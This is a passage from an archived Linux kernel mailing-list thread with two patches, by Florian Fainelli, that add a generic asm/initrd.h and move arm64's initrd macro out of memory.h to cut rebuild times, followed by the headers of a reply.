        linux-arm-kernel@lists.infradead.org (moderated list:ARM PORT),
        linux-c6x-dev@linux-c6x.org (open list:C6X ARCHITECTURE),
        uclinux-h8-devel@lists.sourceforge.jp (moderated list:H8/300
        ARCHITECTURE),
        linux-hexagon@vger.kernel.org (open list:QUALCOMM HEXAGON ARCHITECTURE),
        linux-ia64@vger.kernel.org (open list:IA64 (Itanium) PLATFORM),
        linux-m68k@lists.linux-m68k.org (open list:M68
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 24 21:31:16 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFOs6-0004op-Ld
	for glk-linux-kernel-4@m.gmane.org; Wed, 24 Oct 2018 21:31:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726900AbeJYECo (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 00:02:44 -0400
Original-Received: from mail-pg1-f193.google.com ([209.85.215.193]:33853 "EHLO
        mail-pg1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726398AbeJYECl (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 25 Oct 2018 00:02:41 -0400
Original-Received: by mail-pg1-f193.google.com with SMTP id g12-v6so2814576pgs.1;
        Wed, 24 Oct 2018 12:33:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=v8Yi7ueBJYSGPnl2J+y90jQpIuvIYmkZHV1ezCwJjgw=;
        b=X8qXYx98KGASUvBgWDX6YL5T5CXdOj9tEbpP9mF3RNRaqdyFJEAmLF/tiJ1T6tZp5P
         xo2FwK/+6fRXFOlSr3/5oKxJEbkMiAC/rPixr8RJVQHB0skYXcyYdKIm4Wy0uA1jyR0q
         54jqHeFW1gM37iOa3thSYCISwEHX+Ywz/mKKq86R/QCkdfHLhJpOkIG/rzxNz62KXS8E
         MId8IvqDn7ul+QgH8eB9mc0rGiO++2J1ElANQqB6Gg5GIIo9e6zTMewMomAl5+9xK2ST
         fqPADGlW6WfjNzJ9dPp/PjKY5qi/3exxxoy6Vm0QdefqSYNoAwoT5FFFlbSPJM4jst6E
         a8Sw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=v8Yi7ueBJYSGPnl2J+y90jQpIuvIYmkZHV1ezCwJjgw=;
        b=oSsmSQUu3rvYJ4ERVxYeur27WmL8HlpTjuz0Ob7I2D2BvNjSCCG8s7o6IcuMqJZJ3F
         3yIOu8HpKzmH0znJcCPA+W0VGZ17tLz+RC8txKfFMkMnClcNo2s/yAt8LSfKRh7w/q78
         cZ81mIo9zL51ujOsik/yW/RGtm4ibkQlvnfG0AChLdtRmCBnvY0MpCZEgDRSIIxR99nc
         +lmK5ibV8bC21i1pzdwDYryLbeKDDBHKhIxSsOLsuR71iB3ja10k6wWvbLyHhrtXpBKW
         DnUIljlZ3ffx0UMlZvG5pvnvE/NP5SU5w2ZWI5g6H/ooew9I5zwf8xfNnL4hQFtv7h/l
         L0EA==
X-Gm-Message-State: AGRZ1gJywaKkMFqY4M1kCRnR/MVU4d9haaQdkO+IueRPDWehq6yrJ4u3
        agxDLZ7b90Bt+lyH7oOXYf6lMMHgO9w=
X-Google-Smtp-Source: AJdET5e3oklkZJl6VLmc9P+CGQ6GZjw475mB8zXT96bhabntKvO9g5ltPujlD6PYuuoSOZoG7K1pwQ==
X-Received: by 2002:a62:e80c:: with SMTP id c12-v6mr3920623pfi.124.1540409599360;
        Wed, 24 Oct 2018 12:33:19 -0700 (PDT)
Original-Received: from fainelli-desktop.igp.broadcom.net ([192.19.223.250])
        by smtp.gmail.com with ESMTPSA id j187-v6sm9818878pfc.39.2018.10.24.12.33.16
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 24 Oct 2018 12:33:18 -0700 (PDT)
X-Mailer: git-send-email 2.17.1
In-Reply-To: <20181024193256.23734-1-f.fainelli@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907119 gmane.linux.ports.alpha:5359 gmane.linux.kernel.arc:4605 gmane.linux.ports.arm.kernel:681290 gmane.linux.ports.hexagon:1945 gmane.linux.ports.ia64:29425 gmane.linux.ports.mips.general:67163 gmane.linux.ports.parisc:29226 gmane.linux.ports.ppc64.devel:164864 gmane.linux.ports.riscv:1191 gmane.linux.ports.sh.devel:57679 gmane.linux.ports.sparc:28648 gmane.linux.drivers.devicetree:294257 gmane.linux.kernel.cross-arch:48044
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907119>

In preparation for separating the definition of
__early_init_dt_declare_initrd() on ARM64 in order to cut the amount of
files that require a rebuild when CONFIG_BLK_DEV_INITRD value is
changed, introduce an empty asm-generic initrd.h file and update all
architectures but arm64 to make use of it.

Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
---
 arch/alpha/include/asm/Kbuild      | 1 +
 arch/arc/include/asm/Kbuild        | 1 +
 arch/arm/include/asm/Kbuild        | 1 +
 arch/c6x/include/asm/Kbuild        | 1 +
 arch/h8300/include/asm/Kbuild      | 1 +
 arch/hexagon/include/asm/Kbuild    | 1 +
 arch/ia64/include/asm/Kbuild       | 1 +
 arch/m68k/include/asm/Kbuild       | 1 +
 arch/microblaze/include/asm/Kbuild | 1 +
 arch/mips/include/asm/Kbuild       | 1 +
 arch/nds32/include/asm/Kbuild      | 1 +
 arch/nios2/include/asm/Kbuild      | 1 +
 arch/openrisc/include/asm/Kbuild   | 1 +
 arch/parisc/include/asm/Kbuild     | 1 +
 arch/powerpc/include/asm/Kbuild    | 1 +
 arch/riscv/include/asm/Kbuild      | 1 +
 arch/s390/include/asm/Kbuild       | 1 +
 arch/sh/include/asm/Kbuild         | 1 +
 arch/sparc/include/asm/Kbuild      | 1 +
 arch/um/include/asm/Kbuild         | 1 +
 arch/unicore32/include/asm/Kbuild  | 1 +
 arch/x86/include/asm/Kbuild        | 1 +
 arch/xtensa/include/asm/Kbuild     | 1 +
 include/asm-generic/initrd.h       | 1 +
 24 files changed, 24 insertions(+)
 create mode 100644 include/asm-generic/initrd.h

diff --git a/arch/alpha/include/asm/Kbuild b/arch/alpha/include/asm/Kbuild
index 0580cb8c84b2..cd6f723aed1b 100644
--- a/arch/alpha/include/asm/Kbuild
+++ b/arch/alpha/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += compat.h
 generic-y += exec.h
 generic-y += export.h
 generic-y += fb.h
+generic-y += initrd.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
 generic-y += mm-arch-hooks.h
diff --git a/arch/arc/include/asm/Kbuild b/arch/arc/include/asm/Kbuild
index feed50ce89fa..ba18632aa493 100644
--- a/arch/arc/include/asm/Kbuild
+++ b/arch/arc/include/asm/Kbuild
@@ -10,6 +10,7 @@ generic-y += fb.h
 generic-y += ftrace.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kmap_types.h
diff --git a/arch/arm/include/asm/Kbuild b/arch/arm/include/asm/Kbuild
index 1d66db9c9db5..b91d5b32e64f 100644
--- a/arch/arm/include/asm/Kbuild
+++ b/arch/arm/include/asm/Kbuild
@@ -4,6 +4,7 @@ generic-y += early_ioremap.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += kdebug.h
 generic-y += local.h
diff --git a/arch/c6x/include/asm/Kbuild b/arch/c6x/include/asm/Kbuild
index 33a2c94fed0d..9e14cf6e89b4 100644
--- a/arch/c6x/include/asm/Kbuild
+++ b/arch/c6x/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += extable.h
 generic-y += fb.h
 generic-y += futex.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += io.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
diff --git a/arch/h8300/include/asm/Kbuild b/arch/h8300/include/asm/Kbuild
index a5d0b2991f47..7d4e06a757c8 100644
--- a/arch/h8300/include/asm/Kbuild
+++ b/arch/h8300/include/asm/Kbuild
@@ -19,6 +19,7 @@ generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hash.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/hexagon/include/asm/Kbuild b/arch/hexagon/include/asm/Kbuild
index 47c4da3d64a4..0be62abf2123 100644
--- a/arch/hexagon/include/asm/Kbuild
+++ b/arch/hexagon/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += fb.h
 generic-y += ftrace.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += iomap.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
diff --git a/arch/ia64/include/asm/Kbuild b/arch/ia64/include/asm/Kbuild
index 557bbc8ba9f5..1a1f1e4ba0d5 100644
--- a/arch/ia64/include/asm/Kbuild
+++ b/arch/ia64/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += compat.h
 generic-y += exec.h
+generic-y += initrd.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
 generic-y += mm-arch-hooks.h
diff --git a/arch/m68k/include/asm/Kbuild b/arch/m68k/include/asm/Kbuild
index a4b8d3331a9e..9903551e0c9c 100644
--- a/arch/m68k/include/asm/Kbuild
+++ b/arch/m68k/include/asm/Kbuild
@@ -7,6 +7,7 @@ generic-y += exec.h
 generic-y += extable.h
 generic-y += futex.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/microblaze/include/asm/Kbuild b/arch/microblaze/include/asm/Kbuild
index 569ba9e670c1..ec37e6304be5 100644
--- a/arch/microblaze/include/asm/Kbuild
+++ b/arch/microblaze/include/asm/Kbuild
@@ -11,6 +11,7 @@ generic-y += exec.h
 generic-y += extable.h
 generic-y += fb.h
 generic-y += hardirq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/mips/include/asm/Kbuild b/arch/mips/include/asm/Kbuild
index 9a81e72119da..005ef04a4c73 100644
--- a/arch/mips/include/asm/Kbuild
+++ b/arch/mips/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += device.h
 generic-y += dma-contiguous.h
 generic-y += emergency-restart.h
 generic-y += export.h
+generic-y += initrd.h
 generic-y += irq_work.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
diff --git a/arch/nds32/include/asm/Kbuild b/arch/nds32/include/asm/Kbuild
index dbc4e5422550..1400aaf0c840 100644
--- a/arch/nds32/include/asm/Kbuild
+++ b/arch/nds32/include/asm/Kbuild
@@ -25,6 +25,7 @@ generic-y += ftrace.h
 generic-y += gpio.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += ioctl.h
 generic-y += ioctls.h
 generic-y += irq.h
diff --git a/arch/nios2/include/asm/Kbuild b/arch/nios2/include/asm/Kbuild
index 8fde4fa2c34f..d89de02549ee 100644
--- a/arch/nios2/include/asm/Kbuild
+++ b/arch/nios2/include/asm/Kbuild
@@ -18,6 +18,7 @@ generic-y += ftrace.h
 generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/openrisc/include/asm/Kbuild b/arch/openrisc/include/asm/Kbuild
index eb87cd8327c8..296fd55e8473 100644
--- a/arch/openrisc/include/asm/Kbuild
+++ b/arch/openrisc/include/asm/Kbuild
@@ -15,6 +15,7 @@ generic-y += fb.h
 generic-y += ftrace.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 2013d639e735..1382d78a2477 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/powerpc/include/asm/Kbuild b/arch/powerpc/include/asm/Kbuild
index 3196d227e351..e3ea67c30605 100644
--- a/arch/powerpc/include/asm/Kbuild
+++ b/arch/powerpc/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += div64.h
 generic-y += export.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += local64.h
diff --git a/arch/riscv/include/asm/Kbuild b/arch/riscv/include/asm/Kbuild
index efdbe311e936..0e67ed69c423 100644
--- a/arch/riscv/include/asm/Kbuild
+++ b/arch/riscv/include/asm/Kbuild
@@ -17,6 +17,7 @@ generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hash.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += ioctl.h
 generic-y += ioctls.h
 generic-y += ipcbuf.h
diff --git a/arch/s390/include/asm/Kbuild b/arch/s390/include/asm/Kbuild
index e3239772887a..dc618745d427 100644
--- a/arch/s390/include/asm/Kbuild
+++ b/arch/s390/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += export.h
 generic-y += fb.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kmap_types.h
diff --git a/arch/sh/include/asm/Kbuild b/arch/sh/include/asm/Kbuild
index 6a5609a55965..c006a7cf3a43 100644
--- a/arch/sh/include/asm/Kbuild
+++ b/arch/sh/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += div64.h
 generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += local.h
diff --git a/arch/sparc/include/asm/Kbuild b/arch/sparc/include/asm/Kbuild
index 410b263ef5c8..a5772c2a96c8 100644
--- a/arch/sparc/include/asm/Kbuild
+++ b/arch/sparc/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += export.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += linkage.h
diff --git a/arch/um/include/asm/Kbuild b/arch/um/include/asm/Kbuild
index b10dde6cb793..032cfe1b530b 100644
--- a/arch/um/include/asm/Kbuild
+++ b/arch/um/include/asm/Kbuild
@@ -12,6 +12,7 @@ generic-y += ftrace.h
 generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += io.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
diff --git a/arch/unicore32/include/asm/Kbuild b/arch/unicore32/include/asm/Kbuild
index 1372553dc0a9..32e7dea45fcd 100644
--- a/arch/unicore32/include/asm/Kbuild
+++ b/arch/unicore32/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += ftrace.h
 generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/x86/include/asm/Kbuild b/arch/x86/include/asm/Kbuild
index a0ab9ab61c75..290bd1c3ee2d 100644
--- a/arch/x86/include/asm/Kbuild
+++ b/arch/x86/include/asm/Kbuild
@@ -9,5 +9,6 @@ generated-y += xen-hypercalls.h
 generic-y += dma-contiguous.h
 generic-y += early_ioremap.h
 generic-y += export.h
+generic-y += initrd.h
 generic-y += mcs_spinlock.h
 generic-y += mm-arch-hooks.h
diff --git a/arch/xtensa/include/asm/Kbuild b/arch/xtensa/include/asm/Kbuild
index 82c756431b49..f2c363f2d22a 100644
--- a/arch/xtensa/include/asm/Kbuild
+++ b/arch/xtensa/include/asm/Kbuild
@@ -9,6 +9,7 @@ generic-y += exec.h
 generic-y += extable.h
 generic-y += fb.h
 generic-y += hardirq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/include/asm-generic/initrd.h b/include/asm-generic/initrd.h
new file mode 100644
index 000000000000..40a8c178f10d
--- /dev/null
+++ b/include/asm-generic/initrd.h
@@ -0,0 +1 @@
+/* empty */
-- 
2.17.1



From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 2/2] arm64: Create asm/initrd.h
Date: Wed, 24 Oct 2018 12:32:56 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <20181024193256.23734-3-f.fainelli@gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540409489 19593 195.159.176.226 (24 Oct 2018 19:31:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 19:31:29 +0000 (UTC)
Cc: Florian Fainelli <f.fainelli@gmail.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>,
        linux-alpha@vger.kernel.org (open list:ALPHA PORT),
        linux-snps-arc@lists.infradead.org (open list:SYNOPSYS ARC ARCHITECTURE),
        linux-arm-kernel@lists.infradead.org (moderated list:ARM PORT),
        linux-c6x-dev@linux-c6x.org (open list:C6X ARCHITECTURE),
        uclinux-h8-devel@lists.sourceforge.jp (moderated list:H8/300
        ARCHITECTURE),
        linux-hexagon@vger.kernel.org (open list:QUALCOMM HEXAGON ARCHITECTURE),
        linux-ia64@vger.kernel.org (open list:IA64 (Itanium) PLATFORM),
        linux-m68k@lists.linux-m68k.org (open list:M68
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 24 21:31:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFOsD-0004wZ-PP
	for glk-linux-kernel-4@m.gmane.org; Wed, 24 Oct 2018 21:31:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727121AbeJYECu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 00:02:50 -0400
Original-Received: from mail-pg1-f196.google.com ([209.85.215.196]:35799 "EHLO
        mail-pg1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726448AbeJYECn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 25 Oct 2018 00:02:43 -0400
Original-Received: by mail-pg1-f196.google.com with SMTP id 32-v6so2809245pgu.2;
        Wed, 24 Oct 2018 12:33:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=R7GnanBC/dUP1yUUX1JKpyThiE0iCRjX5YFPvjRZfCc=;
        b=XUVPRaDoxMaZ0lc+zIzwRmVi++6Px2u+8TgSt+ESHM01GRwvZtXwQDGr4zqDSMZfrw
         8nq+I4eE4vaqFXIJDj0j7q+PI42qbkO9Lx9HT8x5RKjlanTfAVScBJLHwP7splrM/86g
         SwKMGcaiEl1CEBvNP0jbIDkfSLJKkemdtX42rsEnrMQENoVA80iYvrzrwMnfiQoxbZni
         JkfwfIdggNQDt4uFgzXJhfpmuyCYCHoxEVICC0TXx1+PvFtzmXL0tV4d+3IFqdBUfCN3
         GqHTcCVh6xi6gCkOdgy0tizfHP5iGPbFk5siMBPV9ZhNeCLYFPKMA1XnN4fFTHSdfvvV
         A26w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=R7GnanBC/dUP1yUUX1JKpyThiE0iCRjX5YFPvjRZfCc=;
        b=hK0UguTfdY9QfVLUphhAYiqBaYyDs1BQywRXoBMPy1dZ8kaZkdEoIm8sqZJLUUTWoS
         h8HTfypSxE4jRuo6KQxLXXdtU7U1deIAZachZjkF1N8dLiGJoQrvNFCNNrJTkU7/wy2Q
         E/WyVYhUKj/bDZ73RnTqVVSO5NtD/LYS2hs3RfOxfaQmwqly143RRxvym3ns1AbRVlnV
         BE5LWq75n/oSXPj8q72U6Mz0eb/0f2MBaweeoO1eNN9TpZhc79+5K5lYOb1hZiBgEKpY
         9WaIRI45kQnoTMc5hho+5CinU2l8FMP5mFL1KT96mKtHefE5UjSN6PClltB/4r7yoUIa
         l9ig==
X-Gm-Message-State: AGRZ1gKKuqivUU4xrW0KYYR4hoYVn0h9wIH6wbysUEfHQ7JKqWv2won5
        DMuFuReqgb5dpHX1KkR9aJgkja9yD7g=
X-Google-Smtp-Source: AJdET5dg31dP21iFfiQOW43Rew2HT+LpqU+mmMjIz/9NCSpREeKfcx0lWewCTEg3MxMGJke0wlIAEA==
X-Received: by 2002:a62:b87:: with SMTP id 7-v6mr3903770pfl.67.1540409601762;
        Wed, 24 Oct 2018 12:33:21 -0700 (PDT)
Original-Received: from fainelli-desktop.igp.broadcom.net ([192.19.223.250])
        by smtp.gmail.com with ESMTPSA id j187-v6sm9818878pfc.39.2018.10.24.12.33.19
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 24 Oct 2018 12:33:20 -0700 (PDT)
X-Mailer: git-send-email 2.17.1
In-Reply-To: <20181024193256.23734-1-f.fainelli@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907120 gmane.linux.ports.alpha:5360 gmane.linux.kernel.arc:4606 gmane.linux.ports.arm.kernel:681291 gmane.linux.ports.hexagon:1946 gmane.linux.ports.ia64:29426 gmane.linux.ports.mips.general:67164 gmane.linux.ports.parisc:29227 gmane.linux.ports.ppc64.devel:164865 gmane.linux.ports.riscv:1192 gmane.linux.ports.sh.devel:57680 gmane.linux.ports.sparc:28649 gmane.linux.drivers.devicetree:294258 gmane.linux.kernel.cross-arch:48045
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907120>

ARM64 is the only architecture that requires a re-definition of
__early_init_dt_declare_initrd(). Now that we added the infrastructure
in asm-generic to provide an asm/initrd.h file, properly break up that
definition from asm/memory.h and make use of that header in
drivers/of/fdt.c where this is used.

This significantly cuts the number of objects that need to be rebuilt on
ARM64 due to the repercusions of including asm/memory.h in several
places.

Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
---
 arch/arm64/include/asm/initrd.h | 13 +++++++++++++
 arch/arm64/include/asm/memory.h |  8 --------
 drivers/of/fdt.c                |  1 +
 3 files changed, 14 insertions(+), 8 deletions(-)
 create mode 100644 arch/arm64/include/asm/initrd.h

diff --git a/arch/arm64/include/asm/initrd.h b/arch/arm64/include/asm/initrd.h
new file mode 100644
index 000000000000..0c9572485810
--- /dev/null
+++ b/arch/arm64/include/asm/initrd.h
@@ -0,0 +1,13 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef __ASM_INITRD_H
+#define __ASM_INITRD_H
+
+#ifdef CONFIG_BLK_DEV_INITRD
+#define __early_init_dt_declare_initrd(__start, __end)			\
+	do {								\
+		initrd_start = (__start);				\
+		initrd_end = (__end);					\
+	} while (0)
+#endif
+
+#endif /* __ASM_INITRD_H */
diff --git a/arch/arm64/include/asm/memory.h b/arch/arm64/include/asm/memory.h
index b96442960aea..dc3ca21ba240 100644
--- a/arch/arm64/include/asm/memory.h
+++ b/arch/arm64/include/asm/memory.h
@@ -168,14 +168,6 @@
 #define IOREMAP_MAX_ORDER	(PMD_SHIFT)
 #endif
 
-#ifdef CONFIG_BLK_DEV_INITRD
-#define __early_init_dt_declare_initrd(__start, __end)			\
-	do {								\
-		initrd_start = (__start);				\
-		initrd_end = (__end);					\
-	} while (0)
-#endif
-
 #ifndef __ASSEMBLY__
 
 #include <linux/bitops.h>
diff --git a/drivers/of/fdt.c b/drivers/of/fdt.c
index 800ad252cf9c..4e4711af907b 100644
--- a/drivers/of/fdt.c
+++ b/drivers/of/fdt.c
@@ -28,6 +28,7 @@
 
 #include <asm/setup.h>  /* for COMMAND_LINE_SIZE */
 #include <asm/page.h>
+#include <asm/initrd.h>
 
 #include "of_private.h"
 
-- 
2.17.1



From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Herring <robh@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing CONFIG_BLK_DEV_INITRD
Date: Wed, 24 Oct 2018 14:55:17 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1540410811 23648 195.159.176.226 (24 Oct 2018 19:53:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 19:53:31 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <linux-mips@linux-mips.org>,
        nios2-dev@lists.rocketboards.org,
        Openrisc <openrisc@list
To: Florian Fainelli <f.fainelli@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 24 21:53:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFPDZ-000600-7N
	for glk-linux-kernel-4@m.gmane.org; Wed, 24 Oct 2018 21:53:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727225AbeJYEY6 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 00:24:58 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:35458 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726716AbeJYEY5 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
